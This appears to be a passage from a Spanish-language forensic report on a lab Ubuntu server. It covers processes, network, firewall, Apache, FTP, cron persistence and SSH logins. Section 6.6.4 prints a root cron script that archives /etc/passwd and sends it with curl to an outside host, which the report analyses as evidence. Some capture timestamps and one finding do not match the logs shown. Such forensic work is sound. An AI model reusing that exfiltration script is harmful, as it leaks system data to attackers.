    -systemd-timesyn(649)---{systemd-timesyn}(663)
    -systemd-udevd(418)
    -udisksd(734)---{udisksd}(741)
      \-{udisksd}(750)
      \-{udisksd}(803)
      \-{udisksd}(1027)
    -unattended-upgr(869)---{unattended-upgr}(1002)
    -vsftpd(761)
    -wazuh-agentd(1078)---{wazuh-agentd}(1079)
      \-{wazuh-agentd}(1080)
      \-{wazuh-agentd}(1081)
    -wazuh-execd(905)---{wazuh-execd}(907)
    -wazuh-logcollect(1107)---{wazuh-logcollect}(1110)
      \-{wazuh-logcollect}(1111)
      \-{wazuh-logcollect}(1112)
      \-{wazuh-logcollect}(1113)
      \-{wazuh-logcollect}(1114)
      \-{wazuh-logcollect}(1115)
      \-{wazuh-logcollect}(1116)
    -wazuh-modulesd(1129)---{wazuh-modulesd}(1133)
      \-{wazuh-modulesd}(1134)
      \-{wazuh-modulesd}(1136)
      \-{wazuh-modulesd}(1137)
      \-{wazuh-modulesd}(1138)
      \-{wazuh-modulesd}(1139)
      \-{wazuh-modulesd}(1140)
      \-{wazuh-modulesd}(1143)
      \-{wazuh-modulesd}(1144)
    -wazuh-syscheckd(1097)---{wazuh-syscheckd}(1098)
      \-{wazuh-syscheckd}(1103)
      \-{wazuh-syscheckd}(1104)

sysadmin@4geeks-server:~$ █

```

Captura 7: (Parte\_B) Árbol de procesos top-level. — UTC: 2025-08-19T19:59:43Z

**Resultado:** Se aprecia la jerarquía con systemd como raíz y ramas para cron, apache2, sshd y wazuh. No hay ramas huérfanas ni cadenas extrañas (p. ej., shells hijas de cron ejecutando intérpretes).

## 6.4. Estado y configuración de red (base)

### 6.4.1. Interfaces y direcciones asignadas

Comando: ip a

```
sysadmin@4geeks-server:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:50:4e:6c brd ff:ff:ff:ff:ff:ff
        inet 192.168.68.111/24 brd 192.168.68.255 scope global dynamic enp0s3
            valid_lft 6484sec preferred_lft 6484sec
        inet6 fe80::a00:27ff:fe50:4e6c/64 scope link
            valid_lft forever preferred_lft forever
sysadmin@4geeks-server:~$
```

Captura 8: Mapa de interfaces y direcciones IP. — UTC: 2025-08-19T19:46:49Z

**Resultado:** La interfaz enp0s3 tiene 192.168.68.111/24 en el momento de la comprobación; además loopback y una IPv6 de enlace. Se sitúa al host en la LAN 192.168.68.0/24.

### 6.4.2. Rutas activas y puerta de enlace

Comando: ip r

```
sysadmin@4geeks-server:~$ ip r
default via 192.168.68.1 dev enp0s3 proto dhcp src 192.168.68.111 metric 100
192.168.68.0/24 dev enp0s3 proto kernel scope link src 192.168.68.111
192.168.68.1 dev enp0s3 proto dhcp scope link src 192.168.68.111 metric 100
sysadmin@4geeks-server:~$
```

Captura 9: tabla de rutas y gateway por defecto. — UTC: 2025-08-19T19:47:23Z

**Resultado:** Ruta por defecto vía 192.168.68.1. El tráfico a redes externas sale por esa puerta de enlace. No hay rutas estáticas adicionales.

### 6.4.3. DNS efectivo en el host

Comando: cat /etc/resolv.conf

```
sysadmin@4geeks-server:~$ cat /etc/resolv.conf
# This file is managed by man:systemd-resolved(8). Do not edit.
#
# This is a dynamic resolv.conf file for connecting local clients to the
# internal DNS stub resolver of systemd-resolved. This file lists all
# configured search domains.
#
# Run "resolvectl status" to see details about the uplink DNS servers
# currently in use.
#
# Third party programs must not access this file directly, but only through the
# symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a different way,
# replace this symlink by a static file or a different symlink.
#
# See man:systemd-resolved.service(8) for details about the supported modes of
# operation for /etc/resolv.conf.

nameserver 127.0.0.53
options edns0 trust-ad
sysadmin@4geeks-server:~$
```

Captura 10: resolv.conf con stub local. — UTC: 2025-08-19T19:48:11Z

**Resultado:** Aparece 127.0.0.53 (systemd-resolved). El host consulta al resovedor local que reenvía a DNS ascendentes.

#### 6.4.4. Servidores DNS ascendentes (systemd-resolved)

Comando: resolvectl status

```
sysadmin@4geeks-server:~$ resolvectl status
Global
  LLMNR setting: no
  MulticastDNS setting: no
  DNSOverTLS setting: no
  DNSSEC setting: no
  DNSSEC supported: no
    DNSSEC NTA: 10.in-addr.arpa
      16.172.in-addr.arpa
      168.192.in-addr.arpa
      17.172.in-addr.arpa
      18.172.in-addr.arpa
      19.172.in-addr.arpa
      20.172.in-addr.arpa
      21.172.in-addr.arpa
      22.172.in-addr.arpa
      23.172.in-addr.arpa
      24.172.in-addr.arpa
      25.172.in-addr.arpa
      26.172.in-addr.arpa
      27.172.in-addr.arpa
      28.172.in-addr.arpa
      29.172.in-addr.arpa
      30.172.in-addr.arpa
      31.172.in-addr.arpa
    corp
    d.f.ip6.arpa
  home
  internal
  intranet
  lan
  local
  private
  test

Link 2 (enp0s3)
  Current Scopes: DNS
  DefaultRoute setting: yes
  LLMNR setting: yes
  MulticastDNS setting: no
  DNSOverTLS setting: no
  DNSSEC setting: no
  DNSSEC supported: no
  Current DNS Server: 80.58.61.254
  DNS Servers: 80.58.61.254
                80.58.61.250
sysadmin@4geeks-server:~$
```

Captura 11: DNS ascendentes efectivos. — UTC: 2025-08-19T19:50:21Z

**Resultado:** Se confirman los DNS entregados por DHCP y la interfaz que se usa para resolver. Útil para diagnosticar fallos de nombres.

#### 6.4.5. Netplan: obtención de IP por DHCP

Comando: sudo cat /etc/netplan/\*.yaml

```
sysadmin@4geeks-server:~$ sudo cat /etc/netplan/*.yaml
[sudo] password for sysadmin:
# This is the network config written by 'subiquity'
network:
  ethernets:
    enp0s3:
      dhcp4: true
      version: 2
sysadmin@4geeks-server:~$ █
```

Captura 12: Configuración Netplan (`dhcp4: true`). — UTC: 2025-08-19T19:51:32Z

**Resultado:** `dhcp4: true` indica direccionamiento dinámico. Cambios de red o renovaciones pueden actualizar parámetros sin intervención manual.

#### 6.4.6. Concesión DHCP (lease) y ventana de validez

Comando: sudo sed -n '1,200p' /run/systemd/netif/leases/\*

```
sysadmin@4geeks-server:~$  
[sudo] password for sysadmin:  
# This is private data. Do not parse.  
ADDRESS=192.168.68.104  
NETMASK=255.255.255.0  
ROUTER=192.168.68.1  
SERVER_ADDRESS=192.168.68.1  
T1=3600  
T2=6300  
LIFETIME=7200  
DNS=80.58.61.254 80.58.61.250  
NTP=195.95.153.59  
CLIENTID=ffe2343f3e00020000ab115442f504a93af6d1  
sysadmin@4geeks-server:~$
```

Captura 13: Parámetros de la concesión DHCP. — UTC: 2025-08-13T19:51:40Z

**Resultado:** Se observan ADDRESS, ROUTER, DNS y LIFETIME 7200s. Un LIFETIME de 2 h implica renovaciones periódicas; por eso la IP visible en distintos comandos/capturas puede variar sin que sea anómalo.

## 6.5. Superficie expuesta y cortafuegos

### 6.5.1. Puertos en escucha y servicios

Comando: ss -tuln

Netid	State	Recv-Q	Send-Q	Local Address:Port	Peer Address:Port	Process
udp	UNCONN	0	0	127.0.0.53xlo:53	0.0.0.0:*	
udp	UNCONN	0	0	192.168.68.11xenp0s3:68	0.0.0.0:*	
udp	UNCONN	0	0	[fe80::a00:27ff:fe50:4e6]xenp0s3:546	[::]:*	
tcp	LISTEN	0	4096	127.0.0.53xlo:53	0.0.0.0:*	
tcp	LISTEN	0	128	0.0.0.0:22	0.0.0.0:*	
tcp	LISTEN	0	511	*:80	*:*	
tcp	LISTEN	0	32	*:21	*:*	
tcp	LISTEN	0	128	[::]:22	[::]:*	

Captura 14: Puertos/servicios en escucha. — UTC: 2025-08-19T20:33:21Z

**Resultado:** Escuchan 22/tcp (SSH), 80/tcp (HTTP), 21/tcp (FTP) y 127.0.0.53:53 (DNS local). HTTP y FTP sin cifrado suponen que, si se usan, el contenido viaja en claro.

### 6.5.2. UFW: política y reglas

Comando: sudo ufw status

sysadmin@4geeks-server:~\$ sudo ufw status		
Status: active		
To	Action	From
--	—	—
22	ALLOW	Anywhere
80	ALLOW	Anywhere
21	ALLOW	Anywhere
22 (v6)	ALLOW	Anywhere (v6)
80 (v6)	ALLOW	Anywhere (v6)
21 (v6)	ALLOW	Anywhere (v6)

sysadmin@4geeks-server:~\$ █

Captura 15: Política UFW y reglas activas. — UTC: 2025-08-19T20:34:16Z

**Resultado:** Entradas permitidas (SSH/HTTP/FTP) y salida permitida por defecto. Con esta política, cualquier proceso puede iniciar conexiones salientes (p. ej., curl/wget) sin bloqueo local; la visibilidad dependerá de logs.

### 6.5.3. Puertos declarados por Apache

Comando: sudo cat /etc/apache2/ports.conf

```
sysadmin@4geeks-server:~$ sudo cat /etc/apache2/ports.conf
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
    Listen 443
</IfModule>

<IfModule mod_gnutls.c>
    Listen 443
</IfModule>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
sysadmin@4geeks-server:~$
```

Captura 16: Declaración de puertos Apache. — UTC: 2025-08-19T20:34:34Z

**Resultado:** Listen 80 y Listen 443 (este último condicionado a módulos/certificados). Sin sitio TLS activo, el servicio efectivo es HTTP.

#### 6.5.4. VirtualHost por defecto

Comando: sudo cat /etc/apache2/sites-enabled/000-default.conf

```
sysadmin@4geeks-server:~$ sudo cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ... , trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
sysadmin@4geeks-server:~$
```

Captura 17: VirtualHost por defecto en :80. — UTC: 2025-08-19T20:35:33Z

**Resultado:** VirtualHost en \*:80 sin redirección a HTTPS. Configuración inicial habitual que requiere ajustes si se desea cifrar y reducir huella.

#### 6.5.5. Módulo SSL de Apache

Comando: a2query -m ssl

```
sysadmin@4geeks-server:~$ a2query -m ssl
No module matches ssl
sysadmin@4geeks-server:~$
```

Captura 18: Estado del módulo SSL. — UTC: 2025-08-13T20:36:10Z

**Resultado:** Se verifica el estado del módulo ssl. Su presencia no garantiza HTTPS operativo; se necesitan sitio y certificados.

## 6.5.6. FTP: parámetros de seguridad

**Comando:** sudo grep -iE "^(anonymous\_enable|local\_enable|ssl\_enable)" /etc/vsftpd.conf

```
sysadmin@4geeks-server:~$ sudo grep -iE "^(anonymous_enable|local_enable|ssl_enable)" /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
ssl_enable=NO
sysadmin@4geeks-server:~$ █
```

Captura 19: Parámetros vsftpd clave. — UTC: 2025-08-19T20:36:37Z

**Resultado:** anonymous\_enable=NO, local\_enable=YES, ssl\_enable=NO. Si se usa FTP, credenciales y ficheros viajan en texto claro.

## 6.6. Persistencias y ejecución programada (cron)

### 6.6.1. Inventario de /etc/cron.d/

Comando: ls -l /etc/cron.d/

```
sysadmin@4geeks-server:~$ ls -l /etc/cron.d/
total 16
-rw-r--r-- 1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 41 Jun 21 19:53 logrotate
-rw-r--r-- 1 root root 190 Mar 14 2023 popularity-contest
-rw-r--r-- 1 root root 44 Jun 23 15:08 sys-maintenance
sysadmin@4geeks-server:~$ █
```

Captura 20: Inventario de cron.d. — UTC: 2025-08-13T20:00:13Z

**Resultado:** Figura sys-maintenance con fecha 2025-06-23 15:08 UTC. Es una ubicación típica para tareas del sistema.

### 6.6.2. Contenido exacto de la entrada cron

Comando: sudo cat /etc/cron.d/sys-maintenance

```
sysadmin@4geeks-server:~$ sudo cat /etc/cron.d/sys-maintenance
*/15 * * * * root /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ █
```

Captura 21: Contenido de sys-maintenance. — UTC: 2025-08-19T19:45:00Z

**Resultado:** \*/15 \* \* \* \* root /usr/local/bin/backup2.sh programa cada 15 minutos una ejecución con privilegios de root.

### 6.6.3. Script ejecutado por la cron: metadatos

**Comando:** sudo ls -l /usr/local/bin/backup2.sh

```
sysadmin@4geeks-server:~$ sudo ls -l /usr/local/bin/backup2.sh
-rwxr-xr-x 1 root root 125 Jun 23 15:06 /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$
```

Captura 22: Metadatos de backup2.sh. — UTC: 2025-08-13T19:45:15Z

**Resultado:** Propietario root:root, ejecutable, con fecha 2025-06-23 15:06 UTC (dos minutos antes del alta en cron). Orden temporal coherente.

### 6.6.4. Script ejecutado por la cron: contenido

**Comando:** sudo sed -n '1,80p' /usr/local/bin/backup2.sh

```
sysadmin@4geeks-server:~$ sudo sed -n '1,80p' /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
sysadmin@4geeks-server:~$
```

Captura 23: Contenido funcional de backup2.sh. — UTC: 2025-08-13T19:45:30Z

**Resultado:** Empaque /etc/passwd en /tmp/secrets.tgz y lo envía por HTTP (sin TLS) a http://192.168.1.100:8080/upload con curl. /etc/passwd contiene nombres de cuentas y metadatos, **no contraseñas**; en Ubuntu, los hashes residen en /etc/shadow, que este script no toca. Al existir un destino concreto, se evalúa ruta y conectividad desde el propio host.

### 6.6.5. Evidencia de ejecuciones periódicas de cron

**Comando:** sudo journalctl -u cron --since "2025-06-23 15:00:00 UTC" --until "2025-06-23 16:10:00 UTC" | grep backup2.sh

```
sysadmin@4geeks-server:~$ sudo journalctl -u cron --since "2025-06-23 15:00:00 UTC" --until "2025-06-23 16:10:00 UTC" | grep backup2.sh
Jun 23 15:15:01 4geeks-server CRON[2014]: (root) CMD (/usr/local/bin/backup2.sh)
Jun 23 15:30:01 4geeks-server CRON[1821]: (root) CMD (/usr/local/bin/backup2.sh)
sysadmin@4geeks-server:~$
```

Captura 24: Trazas de ejecución de backup2.sh por cron. — UTC: 2025-08-19T19:45:50Z

**Resultado:** Se observan ejecuciones en :00 / :15 / :30 / :45. Confirma la periodicidad real según lo programado.

## 6.6.6. Crontab del sistema (baseline)

Comando: sudo cat /etc/crontab

```
sysadmin@4geeks-server:~$ sudo cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | |
# * * * * * user-name command to be executed
17 *      * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6      * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6      * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6      1 * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
sysadmin@4geeks-server:~$
```

Captura 25: Crontab del sistema. — UTC: 2025-08-19T20:10:14Z

**Resultado:** Sin referencias a backup2.sh. La persistencia identificada reside en /etc/cron.d/.

## 6.6.7. Spool de crontabs por usuario

Comando: sudo ls -l /var/spool/cron/crontabs

```
sysadmin@4geeks-server:~$ sudo ls -l /var/spool/cron/crontabs
total 0
sysadmin@4geeks-server:~$
```

Captura 26: Spool de crontabs. — UTC: 2025-08-19T20:11:01Z

**Resultado:** Sin crontabs personales activos. Se descarta este vector.

### 6.6.8. Crontab personal de root

Comando: sudo crontab -l

```
sysadmin@4geeks-server:~$ sudo crontab -l
no crontab for root
sysadmin@4geeks-server:~$ █
```

Captura 27: Crontab de root. — UTC: 2025-08-19T19:46:40Z

**Resultado:** no crontab for root. No hay tareas periódicas directas para root fuera de cron.d.

### 6.6.9. Crontab personal de sysadmin

Comando: crontab -l || true

```
sysadmin@4geeks-server:~$ crontab -l || true
no crontab for sysadmin
sysadmin@4geeks-server:~$ █
```

Captura 28: Crontab de sysadmin. — UTC: 2025-08-19T19:46:55Z

**Resultado:** no crontab for sysadmin. Sin tareas personales.

## 6.6.10. Periódicos estándar (daily/hourly/weekly)

**Comando:** ls -l /etc/cron.daily /etc/cron.hourly /etc/cron.weekly

```
sysadmin@4geeks-server:~$ ls -l /etc/cron.daily /etc/cron.hourly /etc/cron.weekly
/etc/cron.daily:
total 40
-rwxr-xr-x 1 root root  539 Mar 18 2024 apache2
-rwxr-xr-x 1 root root  376 Sep 16 2021 apport
-rwxr-xr-x 1 root root 1478 Apr  9 2020 apt-compat
-rwxr-xr-x 1 root root  355 Dec 29 2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 Sep  5 2019 dpkg
-rwxr-xr-x 1 root root  377 Jan 21 2019 logrotate
-rwxr-xr-x 1 root root 1123 Feb 25 2020 man-db
-rwxr-xr-x 1 root root 4574 Jul 18 2019 popularity-contest
-rwxr-xr-x 1 root root  214 Jan 20 2023 update-notifier-common

/etc/cron.hourly:
total 0

/etc/cron.weekly:
total 8
-rwxr-xr-x 1 root root 813 Feb 25 2020 man-db
-rwxr-xr-x 1 root root 403 Jan 20 2023 update-notifier-common
sysadmin@4geeks-server:~$ █
```

Captura 29: Tareas periódicas estándar. — UTC: 2025-08-19T20:14:36Z

**Resultado:** No hay referencias a backup2.sh. Se descartan rutas periódicas habituales.

## 6.6.11. Persistencias alternativas y timers

**Comando A (systemd user units)** : sudo find

```
/home/{sysadmin,reports,hacker}/.config/systemd/user -type f -print -quit 2>/dev/null | wc -l
```

**Comando B (trabajos at)** : atq | wc -l

**Comando C (conteo de timers no estándar)** : systemctl list-timers --all --no-pager --no-legend \ | awk '{print \$(NF-1)}' | grep -E '\.timer\$' \ | grep -Ev '^apt-daily|apt-daily-upgrade|logrotate|man-db|fwupd-refresh|systemd-tmpfiles-clean|e2scrub\_all|motd-news|ua-.\*|snap.\*|fstrim|anacron|certbot|updatedb)\.timer\$' \ | wc -l

**Comando D (listado de timers no estándar)** : systemctl list-timers --all --no-pager --no-legend \ | awk '{print \$(NF-1)}' | grep -E '\.timer\$' \ | grep -Ev '^apt-daily|apt-daily-upgrade|logrotate|man-db|fwupd-refresh|systemd-tmpfiles-clean|e2scrub\_all|motd-news|ua-.\*|snap.\*|fstrim|anacron|certbot|updatedb)\.timer\$' \ | sort -u

```
sysadmin@4geeks-server:~$ sudo find /home/{sysadmin,reports,hacker}/.config/systemd/user -type f -print -quit 2>/dev/null | wc -l
0
sysadmin@4geeks-server:~$ atq | wc -l
0
sysadmin@4geeks-server:~$ systemctl list-timers --all --no-pager --no-legend \
> | awk '{print $(NF-1)}' | grep -E '\.timer$' \
> | grep -Ev '^apt-daily|apt-daily-upgrade|logrotate|man-db|fwupd-refresh|systemd-tmpfiles-clean|e2scrub_all|motd-news|ua-.*|snap.*|fstrim|anacron|certbot|updatedb)\.timer$' \
> | wc -l
0
sysadmin@4geeks-server:~$ systemctl list-timers --all --no-pager --no-legend \
> | awk '{print $(NF-1)}' | grep -E '\.timer$' \
> | grep -Ev '^apt-daily|apt-daily-upgrade|logrotate|man-db|fwupd-refresh|systemd-tmpfiles-clean|e2scrub_all|motd-news|ua-.*|snap.*|fstrim|anacron|certbot|updatedb)\.timer$' \
> | sort -u
sysadmin@4geeks-server:~$
```

Captura 30: Búsqueda de persistencias alternativas y timers. — UTC: 2025-08-22T20:15:20Z

**Resultado:** No se encuentran unidades systemd de usuario, jobs at ni timers no estándar. La única persistencia efectiva observada es la cron /etc/cron.d/sys-maintenance → /usr/local/bin/backup2.sh.

## 6.7. Accesos por SSH (política y eventos)

### 6.7.1. Usuarios locales con $UID \geq 1000$ (cuentas “humanas”)

Comando: awk -F: '\$3>=1000 && \$3<65534 {print \$1,\$6,\$7}' /etc/passwd

```
sysadmin@4geeks-server:~$ awk -F: '$3≥1000 && $3<65534 {print $1,$6,$7}' /etc/passwd
sysadmin /home/sysadmin /bin/bash
reports /home/reports /bin/bash
hacker /home/hacker /bin/bash
sysadmin@4geeks-server:~$ █
```

Captura 31: Cuentas humanas y shells. — UTC: 2025-08-06T20:17:00Z

**Resultado:** Cuentas sysadmin, reports, hacker, todas con /bin/bash. Son candidatas a tener historiales y contenido relevante en HOME.

## 6.7.2. Configuración base de SSH e inclusiones

Comando: sudo cat /etc/ssh/sshd\_config

```
sysadmin@geeks-server:~$ sudo cat /etc/ssh/sshd_config
#      $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile      .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
```

Parte\_A: Captura 32

```

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem      sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#    X11Forwarding no
#    AllowTcpForwarding no
#    PermitTTY no
#    ForceCommand cvs server
sysadmin@4geeks-server:~$ █

```

Captura 32: (Parte\_B) sshd\_config con includes. — UTC: 2025-08-19T20:18:30Z

**Resultado:** Existen includes activos hacia sshd\_config.d/. La política efectiva puede residir en estos overrides.

### 6.7.3. Override de SSH (cloud-init)

**Comando:** sudo cat /etc/ssh/sshd\_config.d/50-cloud-init.conf

```

sysadmin@4geeks-server:~$ sudo cat /etc/ssh/sshd_config.d/50-cloud-init.conf
PasswordAuthentication yes
sysadmin@4geeks-server:~$ █

```

Captura 33: Override efectivo de autenticación. — UTC: 2025-08-19T20:20:18Z

**Resultado:** PasswordAuthentication yes habilita contraseñas en SSH. Es menos robusto que autenticación por clave y es coherente con la ausencia de claves en sysadmin.

#### 6.7.4. Claves autorizadas de sysadmin

**Comando:** sudo wc -c /home/sysadmin/.ssh/authorized\_keys

```
sysadmin@4geeks-server:~$ sudo wc -c /home/sysadmin/.ssh/authorized_keys
0 /home/sysadmin/.ssh/authorized_keys
sysadmin@4geeks-server:~$
```

*Captura 34: uthorized\_keys de sysadmin. — UTC: 2025-08-20T20:21:30Z*

**Resultado:** 0 bytes. No hay claves públicas para sysadmin; su acceso remoto se basa en contraseña.

#### 6.7.5. Intentos de autenticación fallidos (SSH)

**Comando:** sudo grep -i "Failed password" /var/log/auth.log

```
sysadmin@4geeks-server:~$ sudo grep -i "Failed password" /var/log/auth.log
Aug 19 20:16:37 4geeks-server sudo: sysadmin : TTY=pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/grep -i Failed password /var/log/auth.log
sysadmin@4geeks-server:~$
```

*Captura 35: Intentos fallidos.— UTC: 2025-08-19T20:17:14Z*

**Captura 35: Intentos fallidos.— UTC: 2025-08-20T20:17:14Z**

**Resultado:** No se aprecian picos que indiquen fuerza bruta; ruido bajo compatible con intentos esporádicos.

#### 6.7.6. Inicios de sesión aceptados (SSH)

**Comando:** sudo grep -i Accepted /var/log/auth.log

```
sysadmin@4geeks-server:~$ sudo grep -i Accepted /var/log/auth.log
Aug 19 19:36:30 4geeks-server sshd[1829]: Accepted password for sysadmin from 192.168.68.106 port 48444 ssh2
Aug 19 20:30:21 4geeks-server sudo: sysadmin : TTY=pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/grep -i Accepted /var/log/auth.log
sysadmin@4geeks-server:~$
```

*Captura 36: nicios de sesión aceptados. — UTC: 2025-08-19T20:30:35Z*

**Resultado:** Accesos exitosos coherentes con las sesiones de trabajo del análisis; no se observan accesos anómalos en este recuento.

### 6.7.7. Historial de sesiones y reinicios

Comando: last -a | head -30

```
sysadmin@4geeks-server:~$ last -a | head -30
sysadmin pts/0      Tue Aug 19 19:36  still logged in    192.168.68.106
sysadmin tty1      Tue Aug 19 19:34  still logged in
reboot  system boot  Tue Aug 19 19:33  still running    5.4.0-216-generic
reboot  system boot  Wed Aug  6 16:49 - 16:51  (00:01)    5.4.0-216-generic
reboot  system boot  Wed Aug  6 16:47 - 16:49  (00:01)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 16:40 - down    (00:04)
reboot  system boot  Mon Jun 23 16:40 - 16:45  (00:05)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:24 - crash   (01:15)
reboot  system boot  Mon Jun 23 15:23 - 16:45  (01:22)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:01 - crash   (00:21)
reboot  system boot  Mon Jun 23 14:48 - 16:45  (01:57)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 14:08 - 14:43  (00:35)
reports  tty1      Mon Jun 23 14:07 - 14:07  (00:00)
sysadmin tty1      Mon Jun 23 14:05 - 14:07  (00:02)
sysadmin tty1      Mon Jun 23 12:57 - 13:39  (00:42)
reboot  system boot  Mon Jun 23 12:53 - 16:45  (03:52)    5.4.0-216-generic
sysadmin tty1      Sat Jun 21 19:05 - down    (01:17)
reboot  system boot  Sat Jun 21 19:03 - 20:22  (01:18)    5.4.0-216-generic

wtmp begins Sat Jun 21 19:03:58 2025
sysadmin@4geeks-server:~$ █
```

Captura 37: Sesiones y reinicio en ventana. — UTC: 2025-08-19T20:16:40Z

Resultado: Reinicio el 2025-06-23 12:53 UTC y sesiones de sysadmin. Marca temporal útil para correlacionar archivos y tareas.

### 6.7.8. Estado del servicio SSH en systemd

Comando: systemctl status ssh

```
sysadmin@4geeks-server:~$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
  Active: active (running) since Fri 2025-08-22 14:26:51 UTC; 1h 3min ago
    Docs: man:sshd(8)
          man:sshd_config(5)
   Main PID: 761 (sshd)
     Tasks: 1 (limit: 4588)
    Memory: 5.6M
   CGroup: /system.slice/ssh.service
           └─761 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Aug 22 14:26:51 4geeks-server systemd[1]: Starting OpenBSD Secure Shell server ...
